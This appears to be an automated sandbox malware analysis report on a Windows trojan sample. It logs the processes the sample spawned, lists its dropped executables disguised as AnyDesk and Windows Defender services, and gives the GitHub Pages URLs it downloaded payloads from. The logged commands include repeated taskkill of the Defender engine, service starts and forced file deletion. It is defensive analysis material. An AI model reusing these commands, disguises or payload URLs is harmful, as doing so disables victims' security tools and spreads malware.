Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\sc.exe sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start AnyDeskUpdateService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\sc.exe sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\WindowsUpdate.txt"
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\sc.exe sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\sc.exe sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\sc.exe sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\oobe\AnyDeskUpdateService.exe C:\Windows\System32\oobe\AnyDeskUpdateService.exe install
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\WindowsUpdate.txt"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start AnyDeskUpdateService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\oobe\AnyDeskUpdateService.exe C:\Windows\System32\oobe\AnyDeskUpdateService.exe install
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\WindowsUpdate.txt"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start AnyDeskUpdateService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\oobe\AnyDeskUpdateService.exe C:\Windows\System32\oobe\AnyDeskUpdateService.exe install
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\WindowsUpdate.txt"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start AnyDeskUpdateService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\oobe\AnyDeskUpdateService.exe C:\Windows\System32\oobe\AnyDeskUpdateService.exe install
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\WindowsUpdate.txt"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start AnyDeskUpdateService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\oobe\AnyDeskUpdateService.exe C:\Windows\System32\oobe\AnyDeskUpdateService.exe install
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\WindowsUpdate.txt"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start AnyDeskUpdateService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe

Code function: 0_2_00007FF6C788D660 cpuid

0_2_00007FF6C788D660

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: EnumSystemLocalesW,GetUserDefaultLCID,ProcessCodePage,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_00007FF6C788792C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: GetLocaleInfoW,	0_2_00007FF6C78877F8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_00007FF6C7887748
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: TranslateName,TranslateName,GetACP,IsValidCodePage,GetLocaleInfoW,	0_2_00007FF6C7886ED0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: GetLocaleInfoW,	0_2_00007FF6C787B6D8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: GetLocaleInfoW,	0_2_00007FF6C78875F0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_00007FF6C78873A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: EnumSystemLocalesW,	0_2_00007FF6C7887308
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: EnumSystemLocalesW,	0_2_00007FF6C7887238
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: EnumSystemLocalesW,	0_2_00007FF6C787B258
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: GetLocaleInfoW,	0_2_00007FF6C78902B0
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: GetLocaleInfoW,	5_2_00007FF76E1ADF40
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: TranslateName,TranslateName,GetACP,IsValidCodePage,GetLocaleInfoW,	5_2_00007FF76E1AD820
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	5_2_00007FF76E1AE098
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: EnumSystemLocalesW,	5_2_00007FF76E1ADB88
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: EnumSystemLocalesW,	5_2_00007FF76E1ADC58
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: EnumSystemLocalesW,	5_2_00007FF76E1A24C8
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	5_2_00007FF76E1ADCF0
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: GetLocaleInfoW,	5_2_00007FF76E1A2948
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: GetLocaleInfoW,	5_2_00007FF76E1AE148
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: EnumSystemLocalesW,GetUserDefaultLCID,ProcessCodePage,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	5_2_00007FF76E1AE27C
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Code function: GetLocaleInfoW,	5_2_00007FF76E1B72B0
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: GetLocaleInfoW,	25_2_00007FF71DDAB6D8
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: TranslateName,TranslateName,GetACP,IsValidCodePage,GetLocaleInfoW,	25_2_00007FF71DDB6ED0
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: GetLocaleInfoW,	25_2_00007FF71DDB75F0
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: GetLocaleInfoW,	25_2_00007FF71DDB77F8
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	25_2_00007FF71DDB7748
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: EnumSystemLocalesW,	25_2_00007FF71DDB7308
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: GetLocaleInfoW,	25_2_00007FF71DDC02B0
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: EnumSystemLocalesW,	25_2_00007FF71DDAB258
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: EnumSystemLocalesW,	25_2_00007FF71DDB7238
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: EnumSystemLocalesW,GetUserDefaultLCID,ProcessCodePage,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	25_2_00007FF71DDB792C
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	25_2_00007FF71DDB73A0

Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe

Code function: 0_2_00007FF6C7868324 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF6C7868324

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	5 Windows Service	5 Windows Service	221 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	3 Service Execution	1 DLL Side-Loading	11 Process Injection	21 Disable or Modify Tools	LSASS Memory	121 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Virtualization/Sandbox Evasion	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Obfuscated Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Software Packing	Cached Domain Credentials	33 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 File Deletion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	32%	ReversingLabs	Win64.Trojan.Generic

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\MicrosoftWindowsDefenderCoreService[1].exe	42%	ReversingLabs	Win64.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\AnyDeskShellIntegration[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\AnyDeskCrashHandler[1].exe	29%	ReversingLabs	Win64.Trojan.Generic
C:\Windows\System32\AnyDeskShellIntegration.dll	0%	ReversingLabs
C:\Windows\System32\AnyDeskShellIntegration_Update.dll	0%	ReversingLabs
C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\AnyDeskShellIntegration[1].dll	0%	ReversingLabs
C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\AnyDeskUpdateService[1].exe	32%	ReversingLabs	Win32.Trojan.Generic
C:\Windows\System32\oobe\AnyDeskCrashHandler.exe	29%	ReversingLabs	Win64.Trojan.Generic
C:\Windows\System32\oobe\AnyDeskUpdateService.exe	32%	ReversingLabs	Win32.Trojan.Generic
C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	42%	ReversingLabs	Win64.Trojan.Generic

Name	IP	Active	Malicious	Antivirus Detection	Reputation
duy-thanh.github.io	185.199.110.153	true	false		unknown

Contacted URLs

Name	Malicious	Reputation
https://duy-thanh.github.io/file/AnyDeskCrashHandler.exe	false	unknown
https://duy-thanh.github.io/file/AnyDeskUpdateService.exe	false	unknown
https://duy-thanh.github.io/file/AnyDeskShellIntegration.dll	false	unknown
https://duy-thanh.github.io/file/version.txt	false	unknown
https://duy-thanh.github.io/file/MicrosoftWindowsDefenderCoreService.exe	false	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://duy-thanh.github.io/file/AnyDeskCrashHandler.exehttps://duy-thanh.github.io/file/AnyDeskUpda	MicrosoftWindowsDefenderCoreService.exe, 00000011.00000002.3386441778.00000004C6DF9000.00000004.00000010.00020000.00000000.sdmp	false	unknown
https://duy-thanh.github.io/file/version.txtD	MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2452617242.000001F7B1789000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000002.3387008885.000001F7B178A000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.3381908245.000001F7B1789000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2516905564.000001F7B1789000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duy-thanh.github.io/file/AnyDeskShellIntegration.dllges	SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe, 00000000.00000002.2170001507.000002762097C000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duy-thanh.github.io/file/MicrosoftWindowsDefenderCoreService.exep	SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe, 00000000.00000003.2163868483.0000027620A3D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duy-thanh.github.io/=R	SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe, 00000000.00000003.2163868483.0000027620A3D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duy-thanh.github.io/1	SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe, 00000000.00000003.2163868483.0000027620A3D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duy-thanh.github.io/file/AnyDeskCrashHandler.exen	SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe, 00000000.00000003.2163868483.0000027620A06000.00000004.00000020.00020000.00000000.sdmp	false	unknown
